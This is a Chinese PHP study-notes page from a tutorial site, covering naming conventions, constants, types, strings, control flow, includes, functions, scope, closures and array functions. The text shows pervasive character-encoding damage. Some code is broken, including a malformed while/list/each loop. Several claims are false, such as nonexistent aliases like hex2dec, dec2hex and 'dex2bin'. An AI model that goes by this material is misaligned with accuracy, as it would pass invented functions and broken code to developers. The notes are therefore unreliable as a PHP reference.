溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

PHP學(xué)習(xí)中常見(jiàn)的各類(lèi)問(wèn)題有哪些

發(fā)布時(shí)間:2021-09-29 14:36:23 來(lái)源:億速云 閱讀:134 作者:小新 欄目:開(kāi)發(fā)技術(shù)

這篇文章將為大家詳細(xì)講解有關(guān)PHP學(xué)習(xí)中常見(jiàn)的各類(lèi)問(wèn)題有哪些,小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。

具體如下:

//語(yǔ)法錯(cuò)誤(syntax error)在語(yǔ)法分析階段,源代碼并未被執(zhí)行,故不會(huì)有任何輸出。

/* 【命名規(guī)則】 */
常量名 類(lèi)常量建議全大寫(xiě),單詞間用下劃線分隔  // MIN_WIDTH
變量名建議用下劃線方式分隔      // $var_name
函數(shù)名建議用駝峰命名法        // varName
定界符建議全大寫(xiě)         // <<<DING, <<<'DING'
文件名建議全小寫(xiě)和下劃線、數(shù)字    // func_name.php
私有屬性名、方法名建議加下劃線    // private $_name _func
接口名建議加I_          // interface I_Name

/* 語(yǔ)言結(jié)構(gòu) */
array(), echo(), empty(), eval(), exit(), isset(), list(), print(), unset()
echo, print 可省略括號(hào)。

/* 預(yù)定義常量 */
PATH_SEPARATOR //路徑分隔符(Windows為分號(hào),類(lèi)Unix為冒號(hào))
DIRECTORY_SEPARATOR //目錄分隔符
PHP_EOL //當(dāng)前系統(tǒng)的換行符
PHP_VERSION //PHP版本號(hào)
PHP_OS //PHP服務(wù)操作系統(tǒng)
PHP_SAPI  //用來(lái)判斷是使用命令行還是瀏覽器執(zhí)行的,如果 PHP_SAPI=='cli' 表示是在命令行下執(zhí)行
PHP_INT_MAX          INT最大值,32位平臺(tái)時(shí)值為2147483647
PHP_INT_SIZE          INT字長(zhǎng),32位平臺(tái)時(shí)值為4(4字節(jié))
M_PI  //圓周率值
M_E   //自然數(shù)

//PHP運(yùn)行環(huán)境檢測(cè)函數(shù)
php_sapi_name() //返回一個(gè)PHP與WEB服務(wù)器接口類(lèi)型的小寫(xiě)字符串
該函數(shù)返回值與常量PHP_SAPI一致!
接口類(lèi)型:SAPI(the Server API, SAPI)
可能值:aolserver、apache、apache2filter、apache2handler、caudium、cgi、cgi-fcgi、cli、 continuity、embed、isapi、litespeed milter、nsapi、phttpd、pi3web、roxen、thttpd、tux、webjames


/* 大小寫(xiě)問(wèn)題 */
- 類(lèi)名、方法名、屬性名、函數(shù)名:不區(qū)分大小寫(xiě)
- 變量名、常量名、元素下標(biāo):區(qū)分大小寫(xiě)

/* 可變標(biāo)識(shí)符 */
可變變量 $i = 3; $k = 'i'; echo $$k; //輸出3
可變函數(shù) function func() {echo 'hello!';} $i = 'func'; $i(); //輸出hello
可變下標(biāo) $i = '1234'; $k = 3; echo $i[$k];  //輸出4
可變類(lèi)名 class CLS{public $k = 'hello';} $i = 'CLS'; $j = new $i; echo $j->k;
可變屬性 class CLS{public $k = 'hello';} $i = 'k'; $j = new CLS; echo $j->$i;
可變方法 class CLS{public function k(){echo 'hello';}} $i='k'; $j=new CLS; $j->$i();

/* 可變變量 */
* 用于業(yè)務(wù)邏輯判斷得到某些具體信息
  $var_name = "class_name";
  $$var_name = "PHP0913";    // $class_name = "PHP0913";$class_name已存入內(nèi)存中
  var_dump($class_name);    // var_dump($$var_name);

/* 變量函數(shù) */
get_defined_vars  //返回由所有已定義變量所組成的數(shù)組(包括環(huán)境變量、服務(wù)器變量和用戶定義的變量)


/* unset() */
* unset()僅刪除當(dāng)前變量名和引用,其值并未被刪除
* 引用傳遞中,刪除一個(gè)變量及其引用,其他變量及引用均存在,且值依然存在

   echo "<br />";
  $v3 = '值';
  $v4 = &$v3;
  unset($v4);
  var_dump($v3, $v4);

/* 變量的最長(zhǎng)有效期 */
* 當(dāng)前腳本的執(zhí)行周期,腳本執(zhí)行結(jié)束,變量即消失


/* 預(yù)定義變量/超全局變量 */
$GLOBALS
$_COOKIE
$_ENV
$_FILES
$_GET
$_POST
$_REQUEST
$_SERVER
$_SESSION


/* 常量定義 */
define(常量名, 常量值, [區(qū)分大小寫(xiě)參數(shù)])    //true表示不區(qū)分/false表示區(qū)分大小寫(xiě)
const 常量名 = 常量值  // 新,建議
常量名可以使用特殊字符
constant($name)    // 獲取常量名
          // 例:echo constant('-_-');


/* 常量相關(guān)函數(shù) */
defined
get_defined_constants


/* 預(yù)定義常量 */
__FILE__      所在文件的絕對(duì)路徑
__LINE__      文件中的當(dāng)前行號(hào)
__DIR__      文件所在目錄
__FUNCTION__    函數(shù)名稱(chēng)
__CLASS__      類(lèi)的名稱(chēng)
__METHOD__    類(lèi)的方法名
__NAMESPACE__    當(dāng)前命名空間的名稱(chēng)


/* 整型 */
整型占用4字節(jié),共4*8=32位,最大值為2147483647,最小值為-2147483648,最小值的絕對(duì)值比最大值的大1
最高為表示正負(fù),1表示負(fù),0表示正


/* 進(jìn)制轉(zhuǎn)換函數(shù) */
只能十進(jìn)制與其他進(jìn)制進(jìn)行轉(zhuǎn)換,只有六種
轉(zhuǎn)換時(shí),參數(shù)應(yīng)是字符串(即不可含八進(jìn)制的“0”或十六進(jìn)制的“0x”)
  dec
   bin
   oct
  hex
hexdec()  十六進(jìn)制轉(zhuǎn)十進(jìn)制    也可寫(xiě)hex2dec()
dechex()  十進(jìn)制轉(zhuǎn)十六進(jìn)制    也可寫(xiě)dec2hex()
bindec()  二進(jìn)制轉(zhuǎn)十進(jìn)制    也可寫(xiě)bin2dec()
decbin()  十進(jìn)制轉(zhuǎn)二進(jìn)制    也可寫(xiě)dex2bin()
octdec()  八進(jìn)制轉(zhuǎn)十進(jìn)制    也可寫(xiě)oct2dec()
decoct()  十進(jìn)制轉(zhuǎn)八進(jìn)制    也可寫(xiě)dec2oct()


/* 浮點(diǎn)數(shù) */
浮點(diǎn)數(shù)不能比較大小 !?。?
幾乎所有小數(shù),在保存時(shí)都是近似值而不是精確值!
最大值:+/- 1.8E308
PHP所能保存的最長(zhǎng)小數(shù)位:14位

/* 單引號(hào)字符串 */
單引號(hào)字符串中,只能轉(zhuǎn)義反斜杠和單引號(hào)

/* 雙引號(hào)字符串 */
只解析字符串一次 ?。?!
eval   把字符串作為PHP代碼執(zhí)行
大括號(hào)包裹變量,可確定變量名界限。如:"aaa{$bbb}ccc"
雙引號(hào)中可以將ASCII碼轉(zhuǎn)換為字符
"\x61" -> a  // 字符串中不需0,整型中才是0x前導(dǎo)
"\x49\x54\x43\x41\x53\x54" -> ITCAST
將ASCII轉(zhuǎn)成字符函數(shù)chr()
將字符轉(zhuǎn)成ASCII函數(shù)ord()
#雙引號(hào)轉(zhuǎn)義列表
\n 換行
\r 回車(chē)
\t 水平制表符
\\ 反斜線
\$ 美元標(biāo)記
\v 垂直制表符
\e Escape
\f 換頁(yè)
\" 雙引號(hào)"
\[0-7]{1,3} 符合該正則表達(dá)式序列的是一個(gè)以八進(jìn)制方式來(lái)表達(dá)的字符 
\x[0-9A-Fa-f]{1,2} 符合該正則表達(dá)式序列的是一個(gè)以十六進(jìn)制方式來(lái)表達(dá)的字符 



/* 定界符 */
herodoc - 功能同雙引號(hào),能解析
$str = <<<AAA
字符串內(nèi)容
AAA;

nowdoc - 功能同單引號(hào),不能解析
只在開(kāi)始位置有單引號(hào)
$str = <<<'AAA'
字符串內(nèi)容
AAA;


/* 字符串的使用 */
可將字符串當(dāng)作一個(gè)字符的集合來(lái)使用,可獨(dú)立訪問(wèn)每個(gè)字符。僅適用于單字節(jié)字符(字母、數(shù)字、半角標(biāo)點(diǎn)符號(hào)),像中文等不可用
$str = "abcd";
echo $str[3];  // d
echo $str{0};  // a


/* 【類(lèi)型操作函數(shù)】 */
//獲取/設(shè)置類(lèi)型
gettype($var) //獲取變量的數(shù)據(jù)類(lèi)型
settype($var, $type) //設(shè)置變量的數(shù)據(jù)類(lèi)型

//類(lèi)型判斷
is_int
is_float
is_null
is_string
is_resource
is_array
is_bool
is_object    
is_numeric   檢測(cè)變量是否為數(shù)字或數(shù)字字符串

//轉(zhuǎn)換成指定的數(shù)據(jù)類(lèi)型
boolval
floatval
intval
strval

//強(qiáng)制轉(zhuǎn)換類(lèi)型
(int)
(float)
(string)
(bool)
(array)
(object)
(unset) //轉(zhuǎn)換為NULL
(binary) 轉(zhuǎn)換和 b前綴轉(zhuǎn)換 //轉(zhuǎn)換成二進(jìn)制

var_dump    打印變量的相關(guān)信息。
        顯示關(guān)于一個(gè)或多個(gè)表達(dá)式的結(jié)構(gòu)信息,包括表達(dá)式的類(lèi)型與值。
        數(shù)組將遞歸展開(kāi)值,通過(guò)縮進(jìn)顯示其結(jié)構(gòu)。
var_export($var [,bool $return]) //輸出或返回一個(gè)變量的字符串表示
  $return:為true,則返回變量執(zhí)行后的結(jié)果
print_r     打印關(guān)于變量的易于理解的信息
empty      檢查一個(gè)變量是否為空
isset      檢測(cè)變量是否存在

/* 【流程控制】 */
//if語(yǔ)句的替代語(yǔ)法
if (條件判斷) :
  語(yǔ)句塊;
elseif (條件判斷) :
  語(yǔ)句塊;
else :
  語(yǔ)句塊;
endif;

//流程控制的替代語(yǔ)法
在嵌入HTML時(shí)常用
將 { 換成 : , 將 } 換成 endif; 等
endif
endwhile
endfor
endforeach
endswitch


/* 【switch】 */
switch (條件) {
  case 狀態(tài)值1:
    語(yǔ)句塊;
    [break;]
  case 狀態(tài)值2:
    語(yǔ)句塊;
    [break;]
  case 狀態(tài)值3:
  case 狀態(tài)值4:
    語(yǔ)句塊;
    [break;]
  default:
    語(yǔ)句塊;
    [break;]
}
switch是狀態(tài)分支,特殊的循環(huán)
先計(jì)算出狀態(tài)值,再去與判斷數(shù)作比較
break退出流程


/* 【for循環(huán)】 */
for (條件初始化表達(dá)式; 條件判斷表達(dá)式; 條件變化表達(dá)式) {
循環(huán)體
}

假設(shè)循環(huán)體被執(zhí)行了N次,則
條件初始化表達(dá)式被執(zhí)行1次
條件判斷表達(dá)式被執(zhí)行N+1次
條件變化表達(dá)式被執(zhí)行N次

注意:
  1. 循環(huán)變量在for語(yǔ)句結(jié)束后還可以繼續(xù)使用,值為第一次失敗的值
  2. 循環(huán)變量在for循環(huán)體內(nèi)可以使用
  3. 任何條件表達(dá)式均可省略,但分號(hào)不能省略
    a. 條件初始化表達(dá)式被省略時(shí),循環(huán)變量被賦值為null,在與條件判斷時(shí),
      進(jìn)行類(lèi)型轉(zhuǎn)換后再比較。也可以在for語(yǔ)句外進(jìn)行初始化。
    b. 條件判斷表達(dá)式被省略時(shí),表示循環(huán)為真,進(jìn)入死循環(huán)
    c. 條件變化表達(dá)式被省略時(shí),可以在循環(huán)體內(nèi)完成
  4. 每個(gè)表達(dá)式均可由多條語(yǔ)句組成,每條語(yǔ)句之間使用逗號(hào)分割
    如果條件判斷表達(dá)式由多條語(yǔ)句組成,都會(huì)執(zhí)行,但只有最后一條語(yǔ)句才作為判斷條件
  5. for只能遍歷數(shù)值型索引下標(biāo)數(shù)組
    數(shù)組長(zhǎng)度函數(shù):count()
  6. 應(yīng)該將可以初始化的語(yǔ)句均放在條件初始化表達(dá)式內(nèi),這樣可以省去很多執(zhí)行次數(shù)


/* 【goto】5.3+ 版本 */
用來(lái)跳轉(zhuǎn)到程序中的某一指定位置
該目標(biāo)位置可以用目標(biāo)名稱(chēng) 加上冒號(hào)來(lái)標(biāo)記。
PHP中的goto有一定限制,只能在同一個(gè)文件和作用域中跳轉(zhuǎn),
  也就是說(shuō)你無(wú)法跳出一個(gè)函數(shù)或類(lèi)方法,也無(wú)法跳入到另一個(gè)函數(shù)。
  你也無(wú)法跳入到任何循環(huán)或者switch結(jié)構(gòu)中。
  常見(jiàn)的用法是用來(lái)跳出循環(huán)或者switch,可以代替多層的break。 
可以從循環(huán)(switch)中跳出來(lái),但不能從外部跳轉(zhuǎn)進(jìn)去。而函數(shù)或類(lèi)方法,向外向內(nèi)均不可。
goto a;
echo 'Foo';
a:
echo 'Bar';


/* 【文件加載】 */
require / include / require_once / include_once
文件載入只是載入目標(biāo)文件內(nèi)的代碼并執(zhí)行,與載入的文件類(lèi)型無(wú)關(guān)

文件載入屬于執(zhí)行階段,當(dāng)執(zhí)行到require等語(yǔ)句時(shí),才載入該文件的代碼,
  編譯并執(zhí)行,然后回到require等語(yǔ)句位置繼續(xù)執(zhí)行下面的語(yǔ)句
【注意】
  在載入開(kāi)始時(shí),先退出PHP模式;
  再載入目標(biāo)文件代碼,執(zhí)行該代碼;
  結(jié)束時(shí),再進(jìn)入PHP模式。
require:處理失敗,產(chǎn)生 E_COMPILE_ERROR 錯(cuò)誤,腳本中止。
include:處理失敗,產(chǎn)生 E_WARNING 錯(cuò)誤,腳本繼續(xù)執(zhí)行。

#不建議使用require_once/include_once


/* 【相對(duì)路徑】 */
當(dāng)前瀏覽器請(qǐng)求的哪個(gè)腳本,當(dāng)前位置就是屬于哪個(gè)腳本。
./file 和 file 都表示當(dāng)前目錄下的file文件
file情況(嵌套載入文件時(shí)):
如果當(dāng)前目錄沒(méi)找到該文件就在代碼文件所在目錄中繼續(xù)找。
如果當(dāng)前目錄找到有該文件,則不會(huì)再在代碼文件所在目錄去找也不會(huì)再加載。
__DIR__   腳本文件所在目錄
__FILE__  腳本文件路徑

include_path  加載文件查找目錄
  set_include_path() 設(shè)置include_path,可多個(gè),用字符串作參數(shù)
  該函數(shù)設(shè)置的path只針對(duì)該當(dāng)前文件有效
  該設(shè)置只針對(duì)查找未直接寫(xiě)文件路徑方式有效
  設(shè)置新的include_path會(huì)覆蓋原來(lái)的

  get_include_path() 獲取當(dāng)前include_path設(shè)置項(xiàng),無(wú)參數(shù)

  路徑分隔符,在Windows下是分號(hào),在Linux下是冒號(hào)
  利用預(yù)定義常量 PATH_SEPARATOR 來(lái)獲得當(dāng)前的分隔符

如果直接寫(xiě)文件名:
  1. include_path所設(shè)置的
  2. 當(dāng)前目錄
  3. 代碼所在文件的目錄
如果文件名前帶有路徑,則會(huì)直接根據(jù)路徑查找,include_path直接被忽略


/* 【return】 */
return與require結(jié)合,可返回文件的內(nèi)容,return寫(xiě)在被載入的文件內(nèi)
return可以終止所在腳本的執(zhí)行,作為普通腳本語(yǔ)句
return可以返回函數(shù)的相應(yīng)值


/* 【終止和延遲腳本執(zhí)行】 */
die / exit  終止
return是終止所在腳本的執(zhí)行
die和exit會(huì)立即終止腳本執(zhí)行
die("到此為止");   該函數(shù)內(nèi)的字符串可被輸出
sleep() 延遲(單位:秒)
  默認(rèn)最多可延遲30秒,PHP配置可以修改 max_execution_time
  例:sleep(12);
usleep()  以指定的微秒數(shù)延遲執(zhí)行
time_sleep_until  使腳本睡眠到指定的時(shí)間為止


/* 【函數(shù)】 */
1. 函數(shù)的聲明是在編譯時(shí),故先定義再調(diào)用,定義與調(diào)用無(wú)先后關(guān)系!
2. 文件只是代碼的載體,程序均在內(nèi)存中執(zhí)行!
3. 如果函數(shù)的定義在需要載入的文件內(nèi),則需要先載入該文件,否則調(diào)用出錯(cuò)!
4. 函數(shù)的定義可以出現(xiàn)在其他的代碼段中,此時(shí)函數(shù)不會(huì)在編譯階段被執(zhí)行
  只有被執(zhí)行到時(shí)才會(huì)被定義!只有獨(dú)立定義時(shí)才會(huì)被編譯在內(nèi)存中!
  如果出現(xiàn)在其他函數(shù)體內(nèi),也需要外層函數(shù)被調(diào)用時(shí)才被定義并生效!
5. 函數(shù)名不區(qū)分大小寫(xiě)
6. 不允許重名,包括系統(tǒng)函數(shù)
7. 【可變函數(shù)】
  函數(shù)名可以用其他變量代替
  $func_name = "sayHello";
  $func_name();    //此時(shí)調(diào)用sayHello()函數(shù)
  注意:只有在調(diào)用時(shí)才能使用變量,定義時(shí)不允許!
8. 變量可作為函數(shù)名調(diào)用函數(shù),數(shù)組元素值也可以!
9. 形式參數(shù)parameter,實(shí)際參數(shù)argument
  可以對(duì)參數(shù)傳遞 null,表示該形參不想傳遞值
  形參與實(shí)參之間既可值傳遞,也可引用傳遞。
  引用傳遞參數(shù),應(yīng)該在定義函數(shù)時(shí)就在形式參數(shù)前加上 & 符號(hào),而此時(shí)調(diào)用函數(shù)實(shí)參必須為變量
  如何選擇使用哪種傳遞方式?
    a. 是否需要保證原始數(shù)據(jù)的完整性
    b. 是否需要增加效率
    c. 對(duì)大數(shù)據(jù)引用傳遞可節(jié)省內(nèi)存
10. 參數(shù)默認(rèn)值
    a. 函數(shù)的參數(shù)默認(rèn)值必須是已經(jīng)確定的值,不能是變量!
      只要在調(diào)用之前定義該常量,則可以使用常量作為參數(shù)默認(rèn)值
    b. 函數(shù)默認(rèn)值可以有多個(gè),建議將有默認(rèn)值的參數(shù)放在參數(shù)列表的最后面
      這樣可以在調(diào)用函數(shù)時(shí),不賦予后面有默認(rèn)值的參數(shù)值,否則會(huì)出錯(cuò)
    c. 默認(rèn)參數(shù)可以是非標(biāo)量類(lèi)型,比如數(shù)組、null
    d. 任何默認(rèn)參數(shù)必須放在任何非默認(rèn)參數(shù)的右側(cè)
11. 參數(shù)數(shù)量
  a. 形參數(shù)量多于實(shí)參數(shù)量
    報(bào)告警告級(jí)別錯(cuò)誤,并以NULL代替
  b. 實(shí)參多于形參
    不報(bào)告錯(cuò)誤,依次為形參賦值
  c. 不確定參數(shù)數(shù)量
    1) 一個(gè)形參都不定義,永遠(yuǎn)都是實(shí)參多于形參
    2) 【可變數(shù)量參數(shù)】
      func_get_args() 獲取當(dāng)前函數(shù)被調(diào)用時(shí)所有實(shí)參的值,返回一個(gè)所有實(shí)參值組成的數(shù)組
      func_get_arg() 獲取某個(gè)實(shí)參的值,通過(guò)索引值標(biāo)識(shí),e.g: func_get_arg(0)
      func_num_args() 獲取所有實(shí)參的數(shù)量
12. 【return】返回值
  a. 函數(shù)只有一個(gè)返回值,可以通過(guò)返回一個(gè)數(shù)組來(lái)得到類(lèi)似的結(jié)果,但可以有多條return語(yǔ)句
  b. return語(yǔ)句會(huì)立即中止函數(shù)的運(yùn)行,并將控制權(quán)交回調(diào)用該函數(shù)的代碼行
  c. 可以返回包括數(shù)組和對(duì)象的任意類(lèi)型
  d. 函數(shù)的返回也分值傳遞和引用傳遞(返回的是一個(gè)變量才可)
    1) 默認(rèn)是值傳遞方式
    2) 引用傳遞方式:
      - 定義函數(shù)時(shí),函數(shù)名前加上& 表示該函數(shù)可以返回引用
      - 調(diào)用函數(shù)時(shí),函數(shù)名前加上& 表示取得函數(shù)返回的引用
        此時(shí),函數(shù)外修改返回值,會(huì)修改函數(shù)內(nèi)的該返回變量的值
      - 如果函數(shù)需返回引用,則需要返回一個(gè)變量才可以
      - 從函數(shù)返回一個(gè)引用,必須在函數(shù)聲明和指派返回值給一個(gè)變量時(shí)都使用引用操作符&
        function &returns_reference(){return $someref;}
        $newref =& returns_reference();
    3) 返回引用的作用


/* 【變量作用域】 */
a. 全局變量和局部變量
  1) 作用域之間不重疊,即不同作用域的變量,之間不可訪問(wèn)
  2) 全局作用域 - 函數(shù)之外的區(qū)域
  3) 局部作用域 - 函數(shù)內(nèi)的區(qū)域,每個(gè)函數(shù)都是一個(gè)獨(dú)立的作用域

b. 超全局變量,既可以在全局也可在局部使用,僅能用系統(tǒng)自帶的,均是數(shù)組變量。
  $GLOBALS  $_COOKIE  $_ENV    $_FILES $_GET
  $_POST   $_REQUEST  $_SERVER  $_SESSION
c. $GLOBALS
  1) 不能存在超全局變量,但可以有超全局的數(shù)據(jù)!
  2) 將需要的數(shù)據(jù)放到超全局變量的數(shù)組內(nèi),但統(tǒng)一使用$GLOBALS
  3) $GLOBALS 特征
    - 每個(gè)全局變量就是對(duì)應(yīng)$GLOBALS內(nèi)的一個(gè)元素!
      每當(dāng)增加一個(gè)全局,則自動(dòng)在$GLOBALS內(nèi)增加一個(gè)同名元素!
      同理,每當(dāng)增加元素,也會(huì)增加一個(gè)全局變量,一般在函數(shù)內(nèi)增加
    - 做的任何修改,也會(huì)映射到另一個(gè),包括更新和刪除
      在函數(shù)內(nèi)訪問(wèn)全局變量,只需使用$GLOBALS
    - 出現(xiàn)過(guò)的全局變量,就可以通過(guò)$GLOBALS這個(gè)數(shù)組取得
  4) PHP生命周期中,定義在函數(shù)體外部的所謂全局變量,函數(shù)內(nèi)部是不能直接獲得的
4) global關(guān)鍵字(不建議使用)
  將局部變量聲明為同名全局變量的一個(gè)'引用'!相當(dāng)于常量的引用傳遞
    global $var;  // $var = &$GLOBALS['var'];
    不同于$GLOBALS?。。?
  global在函數(shù)產(chǎn)生一個(gè)指向函數(shù)外部變量的別名變量,而不是真正的函數(shù)外部變量。
  $GLOBALS確確實(shí)實(shí)調(diào)用是外部的變量,函數(shù)內(nèi)外會(huì)始終保持一致。
  global的作用是定義全局變量,但是這個(gè)全局變量不是應(yīng)用于整個(gè)網(wǎng)站,而是應(yīng)用于當(dāng)前頁(yè)面,包括include或require的所有文件。
d. 
  1) 作用域只針對(duì)變量,對(duì)常量無(wú)效
  2) 被載入文件中定義的變量作用域取決于被載入的位置。
    函數(shù)外被載入就是全局,函數(shù)內(nèi)被載入就是局部!


/* 【變量生命周期】 */
1. 腳本結(jié)束時(shí),全局變量消失
2. 函數(shù)執(zhí)行完時(shí),局部變量消失
3. 靜態(tài)變量
  static關(guān)鍵字
    靜態(tài)變量?jī)H在局部函數(shù)域中存在,但當(dāng)程序執(zhí)行離開(kāi)此作用域時(shí),其值并不丟失。
    靜態(tài)變量?jī)H會(huì)被初始化一次,其他局部變量每次被調(diào)用時(shí)都會(huì)被重新賦值。
    static聲明的靜態(tài)變量的生命周期會(huì)被一直延續(xù)。


/* 【迭代和遞歸】 */
迭代比遞歸效率高!
迭代是一種思想(算法),結(jié)構(gòu)和使用上如同循環(huán)!
遞歸是一種思想(算法),將大問(wèn)題拆分成小問(wèn)題,逐一解決小問(wèn)題以解決大問(wèn)題
  要求大問(wèn)題和小問(wèn)題的解決方案是一致的!
  遞歸的結(jié)構(gòu)和語(yǔ)法體現(xiàn)如圖函數(shù)。函數(shù)體內(nèi)調(diào)用函數(shù)本身!
  遞歸出口:當(dāng)該問(wèn)題可以解決時(shí),則不用再遞歸


/* 【匿名函數(shù)/閉包函數(shù)】 */
匿名函數(shù),也叫閉包函數(shù)(closures),允許臨時(shí)創(chuàng)建一個(gè)沒(méi)有指定名稱(chēng)的函數(shù)。

1. 定義匿名函數(shù)時(shí),不需增加函數(shù)名。
2. PHP對(duì)匿名函數(shù)的管理,以一個(gè)對(duì)象的方式進(jìn)行處理。
3. 匿名函數(shù)應(yīng)該存放到變量?jī)?nèi)。
4. 匿名函數(shù)通過(guò)Closure類(lèi)來(lái)實(shí)現(xiàn)
5. 可以使用函數(shù)作為函數(shù)的參數(shù)和返回值
6. 聲明函數(shù)時(shí)可以使用 use($param) 來(lái)向函數(shù)中傳入函數(shù)外的變量,結(jié)合變量引用來(lái)實(shí)現(xiàn)閉包
7. 可以用變量引用函數(shù)
$func = function ($e) {
  echo $e;
};  //結(jié)束時(shí),需分號(hào)結(jié)束,如同變量賦值
var_dump($func);   //使用匿名函數(shù)
$func('ITCAST');   //函數(shù)的調(diào)用
  這不是可變函數(shù),而是對(duì)象。Closure閉包類(lèi)
//use語(yǔ)法
匿名函數(shù)傾向于值的概念,可能出現(xiàn)在任何地方。
use可以使得匿名函數(shù)使用其外部作用域的變量。非全局!
use與全局的區(qū)別:
  use使用其外部作用域的變量
function out() {
  $v = "in out";
  $func = function () use (& $v) {
    var_dump($v);
  }
}
  use類(lèi)似參數(shù)的自動(dòng)傳遞,也支持值與引用的傳遞方式。
//作用
  常作為'臨時(shí)函數(shù)'被調(diào)用(只在某個(gè)地方被調(diào)用的函數(shù))
  例如:
    PHP存在一個(gè)array_map()函數(shù),功能是針對(duì)一個(gè)函數(shù)內(nèi)每個(gè)元素,去調(diào)用某個(gè)函數(shù)
    操作結(jié)果(array) = array_map(操作函數(shù), 操作數(shù)組);
    $result_arr = array_map(function ($v) {return $v3}, $arr);

//閉包用法實(shí)例
function closureCreater() {
  $x = 1;
  return function($fun = null) use(&$x) {//按引用傳值
    echo "<br />" . $x++;
    $fun and $fun();
  };
}

$x = "hello world";
$test = closureCreater();
$test();
$test(function(){ echo "closure test one"; });
$test(function(){ echo "closure test two"; });
$test(function() use($x){ echo "<br />".$x;});

//將函數(shù)保存為數(shù)組元素
$x = 'outer param.';
$arr = array();
$arr[] = function($str)use($x){ return $str.$x; };
echo $arr[0]('test fun in arr,');


/* 【數(shù)組】 */
關(guān)聯(lián)數(shù)組:鍵和值有關(guān)聯(lián),鍵表示值的邏輯含義。
索引數(shù)組:鍵和值無(wú)關(guān)聯(lián),鍵表示值的位置。通常下標(biāo)從0開(kāi)始,遞增元素
count($var [,$mode]) //統(tǒng)計(jì)數(shù)組元素個(gè)數(shù)
  $mode可選,設(shè)為1或true時(shí)則遞歸統(tǒng)計(jì)
  $var非數(shù)組,返回1;$var未初始化或等于null或空數(shù)組,返回0

//鍵名的使用
整型數(shù)字鍵不需加引號(hào)($arr[1])
字符串?dāng)?shù)字鍵也不需加引號(hào)($arr = array('1'=>'abc'); $arr[1])
關(guān)聯(lián)數(shù)組,字符串鍵需加引號(hào)($arr = array('a'=>'aaa'); $arr['a'])
關(guān)聯(lián)數(shù)組,雙引號(hào)中解析變量,可不加引號(hào)($arr = array('a'=>'aaa'); "$arr[a]")

/* 【指針】 */
current/pos  返回當(dāng)前被內(nèi)部指針指向的數(shù)組單元的值,并不移動(dòng)指針。
key      返回?cái)?shù)組中當(dāng)前單元的鍵名,并不移動(dòng)指針
next    將數(shù)組中的內(nèi)部指針向前移動(dòng)一位,并返回移動(dòng)后當(dāng)前單元的值。先移動(dòng),再取值。
prev    將數(shù)組的內(nèi)部指針倒回一位,并返回移動(dòng)后當(dāng)前單元的值先移動(dòng),再取值。
end      將數(shù)組的內(nèi)部指針指向最后一個(gè)單元,并返回最后一個(gè)單元的值
reset    將數(shù)組的內(nèi)部指針指向第一個(gè)單元,并返回第一個(gè)數(shù)組單元的值

each  返回?cái)?shù)組中當(dāng)前的鍵/值對(duì)并將數(shù)組指針向前移動(dòng)一步。
      返回的是一個(gè)由鍵和值組成的長(zhǎng)度為4的數(shù)組,下標(biāo)0和key表示鍵,下標(biāo)1和value表示值
        在執(zhí)行each()之后,數(shù)組指針將停留在數(shù)組中的下一個(gè)單元
          或者當(dāng)碰到數(shù)組結(jié)尾時(shí)停留在最后一個(gè)單元。
          如果要再用 each 遍歷數(shù)組,必須使用 reset()。

  1. 以上指針操作函數(shù),除了key(),若指針移出數(shù)組,則返回false。而key()移出則返回null。
  2. 若指針?lè)欠?,不能進(jìn)行next/prev操作,能進(jìn)行reset/end操作
  3. current/next/prev   若遇到包含空單元(0或"")也會(huì)返回false。而each不會(huì)!

list  把數(shù)組中的值賦給一些變量。list()是語(yǔ)言結(jié)構(gòu),不是函數(shù)
      僅能用于數(shù)字索引的數(shù)組并假定數(shù)字索引從0開(kāi)始
      /* 可用于交換多個(gè)變量的值 */ list($a, $b) = array($b, $a);
  例:list($drink, , $power) = array('coffee', 'brown', 'caffeine');

1. 復(fù)制數(shù)組,其指針位置也會(huì)被復(fù)制。
  特例:如果數(shù)組指針?lè)欠?,則拷貝的數(shù)組指針會(huì)重置,而原數(shù)組的指針不變。
  【指針問(wèn)題】
    誰(shuí)第一個(gè)進(jìn)行寫(xiě)操作,就會(huì)開(kāi)辟一個(gè)新的值空間。與變量(數(shù)組變量)值傳遞給誰(shuí)無(wú)關(guān)。
    數(shù)組函數(shù)current()被定義為寫(xiě)操作,故會(huì)出現(xiàn)問(wèn)題。
    foreach遍歷的是數(shù)組的拷貝,當(dāng)被寫(xiě)時(shí),才會(huì)開(kāi)辟一個(gè)新的值空間。
      即,foreach循環(huán)體對(duì)原數(shù)組進(jìn)行寫(xiě)操作時(shí),才會(huì)出現(xiàn)指針問(wèn)題。
      如果開(kāi)辟新空間時(shí)指針?lè)欠?,則會(huì)初始化指針。
2. 如果指針位置出現(xiàn)問(wèn)題,則reset()初始化一下就可解決。


/* 【遍歷數(shù)組】 */
* 先找到元素,再獲取鍵和值

foreach
  foreach (array_expression as [$key =>] & $value)
   當(dāng)foreach開(kāi)始執(zhí)行時(shí),數(shù)組內(nèi)部的指針會(huì)自動(dòng)指向第一個(gè)單元。
   獲取元素信息后,移動(dòng)指針,再執(zhí)行循環(huán)體
   1. foreach本身循環(huán)結(jié)構(gòu),break和continue適用于foreach
   2. foreach支持循環(huán)的替代語(yǔ)法。
   3. $value是保存元素值的變量,對(duì)其修改不會(huì)改變數(shù)組的元素值
   4. $value支持元素值的引用拷貝,在$value前加上&即可
   5. $key不支持引用傳遞
   6. foreach遍歷的是原數(shù)組的拷貝,而在循環(huán)體對(duì)數(shù)組的操作是操作原數(shù)組
      即循環(huán)體對(duì)數(shù)組的操作,對(duì)原數(shù)組生效,對(duì)遍歷不生效。
      先拷貝一份數(shù)組用作遍歷

while...list...each
while (list($key, $val) = mysql_fetch_row($result)) = each($arr) {
 echo "$key => $val\n";
}



/* 【數(shù)組函數(shù)】 */
//統(tǒng)計(jì)計(jì)算
count    計(jì)算數(shù)組中的單元數(shù)目或?qū)ο笾械膶傩詡€(gè)數(shù)
array_count_values 統(tǒng)計(jì)數(shù)組中所有的值出現(xiàn)的次數(shù)
array_product    計(jì)算數(shù)組中所有值的乘積
array_sum      計(jì)算數(shù)組中所有值的和
range    建立一個(gè)包含指定范圍單元的數(shù)組

//獲取數(shù)組內(nèi)容
array_chunk    將一個(gè)數(shù)組分割成多個(gè)
  array array_chunk(array $input, int $size[, bool $preserve_keys]) 
